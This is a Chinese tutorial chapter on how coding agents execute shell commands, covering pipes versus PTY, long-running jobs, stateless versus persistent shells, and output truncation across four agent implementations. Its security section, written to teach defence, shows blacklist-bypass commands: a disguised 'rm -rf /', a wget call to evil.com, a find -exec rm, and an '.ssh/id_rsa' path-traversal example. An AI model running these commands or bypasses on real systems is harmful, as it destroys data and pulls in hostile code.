Skip to content

第 8 章 Agent 怎样执行 Shell 命令 ​

本章要解决的问题

第 7 章让 Agent 能修改文件,但还不能判断修改是否正确。类型检查、lint、测试、构建和开发服务器都需要执行命令,因此下一项核心工具是 Shell。

本章从一个最简实现出发,看它会接连撞上哪些墙——子进程通过普通管道还是虚拟终端通信、命令要跑多久、命令之间要不要共享状态、输出大到装不进上下文——以及 codex、grok-build、dsh 和 pi 对每个问题各自的答案。

8.1 自建起步:跑通一条命令 ​

“执行命令”本身使用Node 自带能力就够:

  • 用 spawn 启动 bash -c <命令>,子进程的标准输出和错误接上管道收回来;
  • 设一个超时定时器,到点还没结束就杀掉进程;
  • 命令结束后按退出码返回,非零视为失败;
  • 输出先攒在内存里,返回时只交回最后 2KB(8.5 再升级它);
  • 顺手传 NO_COLOR=1 这类环境变量,关掉颜色码,输出对模型更友好。

8.2 第一个选择:管道还是 PTY ​

8.1 的 spawn 默认给子进程接了管道(pipe):命令怎么送进去、输出怎么拿回来,走的是字节通道。另一种方式是 PTY(伪终端):给子进程伪造一个"有人在用的真终端"。核心区别是子进程以为对面是谁:

管道(spawn 默认)PTY(伪终端)
是什么接在子进程输入输出上的字节通道伪造的一个"真终端"环境
子进程的感知对面是程序,不是终端对面是一个有人在用的终端
程序的行为降级表现:去掉颜色和进度条、换缓冲方式,要交互的程序可能直接不干活完整表现:颜色、进度条、交互问答都正常
拿到的输出纯文本,干净、省 token带 ANSI 控制字符,给模型前要先清理
什么时候用绝大多数命令命令需要交互(问答、全屏界面)时

结论:普通命令用管道,需要交互的命令才开 PTY。 8.1 里 npm init 卡死,就是因为没人能回答它的问题——要么换非交互参数(npm init -y),要么走 PTY 由模型代答。PTY 在 Node 里没有内置支持,生产实现通常用 node-pty 这类原生模块。

四家的投入也不同:codex 的工具带 tty 参数可随时开,交互支持最完整;grok 提供 ptyctl;dsh 不把交互塞进 Shell 工具,而是交给独立的 terminal 能力组;pi 的内置 bash 只走管道,把真正的交互和后台会话交给 tmux 或扩展。

8.3 问题一:命令要跑多久 ​

8.2 决定了进程怎样与 Agent 通信,但还没决定这条连接保持多久。命令时长是一个梯度,不是"快/慢"两档:

text
秒回:     git status / ls               —— 等它完成,毫无压力
分钟级:   pnpm install / 全量测试        —— 不能傻等超时,也不能杀
永不退出:  vitest --watch / dev server   —— 根本没有"完成"的时刻

最简实现的"超时即杀"只适合第一档。

四家对后两档的答案,是本章最核心的策略分歧:

codex:一个工具,到点让位。 命令跑了一段时间(默认 10 秒,可配 250ms~30s)还没结束,就把控制权交还给模型——命令继续在跑,模型可以先干别的,之后用同一个会话继续读输出、继续写输入。

交互体验放在第一位: 超时不杀命令,只是把等待挂起;交互式程序、半途追问都接得住。代价是模型必须自己管理会话 id,理解让位后再续读的时序。

grok:前后台分治。 前台命令等待完成,有超时预算(默认十几秒,生产环境可放宽到小时级);后台命令立即返回任务 id,由 task_output / kill_task / monitor 一族工具管理,完成时系统主动通知——工具说明里直白写着"不要轮询、不要 sleep 等待"。

dsh:每条命令独立执行,持续运行的走 jobs。 后台任务同样有 job_output / job_kill 和完成通知;交互式程序不塞进 Shell 工具(见 8.2)。

pi:内置工具只负责前台命令。 调用可以设置超时,未设置时没有默认超时;取消或超时会终止整棵进程树。它不返回后台 job id,也不维护 PTY 会话。项目文档明确建议后台与交互任务使用 tmux,需要产品内统一管理时再由扩展实现。核心更小,代价是 Agent 本身无法统一恢复和展示这些外部会话。

后台任务不是一个 id 就完了 ​

把命令放后台,只是把问题换了形状。后台任务需要一个状态机:

后台 job 从创建到结束的状态和相关资源

三个容易漏的问题:

  • 输出要能增量读(接着上次的位置);
  • 会话结束要清理还在跑的任务并在日志里记下最终状态;
  • 重启后发现进程已经消失,要诚实标记失联,不能伪装成"已完成"。

8.4 问题二:命令之间要不要共享状态 ​

8.3 的长命令会留下会话或 job,很容易让人顺势假设“下一条命令也会继承上一条的环境”。这两件事必须分开:能继续读取同一进程,不等于新命令会共享 cwd 和环境变量。先看模型的一段真实思路:

text
模型想一步步探索目录结构:
  ① run("cd packages/web")     —— "我现在进到 web 目录了"
  ② run("ls")                  —— 期望看到 web 里的文件

问题来了:

② 执行时,① 改变的工作目录还在不在?

如果每条命令都是全新进程,① 的 cd 随进程结束消失,② 看到的是 workspace 根目录——模型的"我记得我在哪"是幻觉。export FOO=1 的环境变量同理。这就是"状态保留"问题的全部:上一条命令改变的 cwd 和环境变量,下一条命令看不看得到。

三种答案,对应三种产品哲学:

  • dsh 和 pi:无状态,每条命令全新进程。 两家理由相同,每条命令自带完整工作目录,啰嗦一点,换来两件大事:

    • 每条命令天然可以并行;
    • 从日志重放会话时每条请求都自包含,崩溃恢复因此简单(内存里的 shell 状态没了没关系,磁盘上的日志够重建)。

    差别只在形态:dsh 的工具说明里明说"目录和变量不跨命令保留——用 workdir 参数,别用 cd";pi 的当前目录在创建工具时确定,切目录要写在同一次调用里(cd dir && ...)。

  • grok:持久 shell 会话。 一个长期开着的 shell 进程,工作目录、环境变量跨命令保留,像人一直开着的终端窗口——贴合模型在训练数据里见过的使用习惯。代价是状态会漂移(当前目录可能和模型以为的不一样)、并发执行要小心、崩溃后要恢复会话。

  • codex:平时无状态,长命令有会话。 它的"会话"服务于超时让位后的续读续写(8.3),不是 grok 那种跨命令共享 cwd/env 的持久 shell。

前端类比:Cookie 会话 vs REST 无状态

  • 持久会话 = 有状态会话(cookie/session):服务端记住你是谁,请求可以很省,但状态会"漂移"、难以并发、崩溃后要恢复
  • 无状态 = REST(每次请求自带全部上下文):啰嗦一点,但每条命令自包含、可并行、可重放

8.5 问题三:输出大到装不进上下文 ​

8.2~8.4 决定了命令怎样通信、持续和保留状态,还剩下返回链的问题:进程可能持续产生远超模型窗口的内容。8.1 的“只交回最后 2KB”糊弄不过去,真实世界里编译失败三千行、测试日志上万行,而上下文是稀缺资源(第 2 章)。常用三招:

  1. 截断:保留头尾——报错常在两头;
  2. 预算:按 token(或字节)设上限,超了就裁;
  3. 落盘:完整输出写文件,返回尾部摘要加文件路径,模型需要细节时再去读。

四个实现收敛到同一套组合——预算截断 + 超限落盘:codex 按 token 设预算(默认一万);grok 按字节设上限,保留头尾、给完整日志路径;dsh 和 pi 都先在内存留尾部、超限就把完整输出写入文件、只返回尾部摘要加路径(细节略异:pi 按 2000 行或 50KB 先到者限制,并顺手清理 ANSI 控制字符和明显的二进制乱码,避免污染上下文)。

一条表达纪律

无论怎么组合,有一条表达纪律:"已截断"和"全文在文件里"必须分开说清——模型需要知道眼前不是全貌,以及去哪里找全貌。

8.6 与策略无关的两条底线 ​

前四节的通信、时长、状态和输出都可以按产品形态取舍。但无论选哪套策略,下面两件事的答案是一样的。

底线一:命令安全,关键字黑名单挡不住。 执行命令前做校验,最直接的想法是用黑名单禁掉 rm、sudo。但 Shell 能组合和替换命令,黑名单形同虚设:

bash
rm 被禁?  $(echo rm) -rf /           # 变量展开绕过
curl 被禁? wget http://evil.com/x    # 换个等价命令
find / -name '*.log' -exec rm {} \;  # 危险操作藏在合法命令的参数里

更可靠的方向是解析命令结构:识别哪个参数会读文件、-exec 后面接的是什么,判断命令实际会做什么,而不是匹配字符串。codex 为此实现了专门的命令策略引擎。但真正的强制隔离仍然要靠操作系统(第 9 章)。

底线二:启动子进程的三个坑。

坑一:超时只杀了最外层。 8.1 的超时杀进程只杀了 bash 本身;bash -c "npm test & npm run dev" 是一整棵进程树,后代可能继续跑,留下占用端口的孤儿进程。

最低要求是:启动时把命令放进独立的进程组,终止时对整组先发 SIGTERM(留几秒宽限)再 SIGKILL;Windows 上用等价的进程树终止机制。结束后确认整组都退了,别只看 shell。

坑二:环境变量把凭证带给子进程。 体验上,设置 NO_COLOR=1、PAGER=cat 之类的非交互环境,输出对模型更友好(8.1 已经这么做了)。安全上,如果子进程继承 Agent 的全部环境变量,命令也会得到其中的 API_KEY 等凭证。

保守做法是默认只传必要的变量、过滤名字含 KEY/TOKEN/SECRET 的;但按名字过滤只是辅助措施,真正的边界仍在沙箱。

坑三:路径检查看着严密,实则漏。 相对路径的基准(工作区根还是进程当前目录)要显式定义;../../.ssh/id_rsa 不能因为"是相对路径"就放行。

此外,path.resolve() 不会解析符号链接,startsWith(root) 会把 /allowed-other 误判进 /allowed。高风险写入最终要靠 OS 沙箱,字符串检查只是第一道检查。

【对比小结】 ​

把前面每个问题的答案拼在一起,就是四家的完整画像:

codexgrok-builddshpi
放在第一位的是交互体验行为友好、审批体验确定性、可恢复最小核心、外部组合
命令调度时间参数交还控制权,命令继续跑前台等待 / 后台立即返回每条命令独立执行;持续运行走 jobs前台等待;取消或超时终止进程树
会话状态长命令有会话持久会话(cwd/env 保留)无状态(workdir 替代 cd)无状态;每次调用新进程
交互式程序强(PTY + 继续输入)有(ptyctl 支持)弱(另有 terminal 能力组)内置无 PTY;交给 tmux 或扩展
输出限制token 预算(默认 10k)字节上限,保留头尾并可给日志路径内存留尾部,超限可落盘保留全文2000 行或 50KB;超限落临时文件
完成通知会话内继续读事件通知("不要轮询"写进工具说明)jobs 事件通知内置无后台任务通知
额外权限调用参数申请description 用于审批 UIsandbox_permissions 申请内置不审批;由扩展或外部沙箱控制

核心取舍: 前三家把不同强度的进程管理与授权能力纳入 Agent Runtime;pi 则把 tmux、容器和扩展视为可组合的运行环境。前者更容易统一恢复和 UI,后者核心更小,但外部会话的状态与权限需要另行治理。

选型前先回答三个问题:

  1. 模型是否会频繁运行交互式程序?
  2. 会话是否需要重放和恢复?
  3. 上下文预算是否紧张?

到这里,Agent 已经能修改文件,并通过命令运行检查。修改文件和执行命令都是有真实副作用的操作——下一章给这条链装上安全底线:权限、审批和沙箱。

基于 MIT 协议发布,欢迎转载与贡献。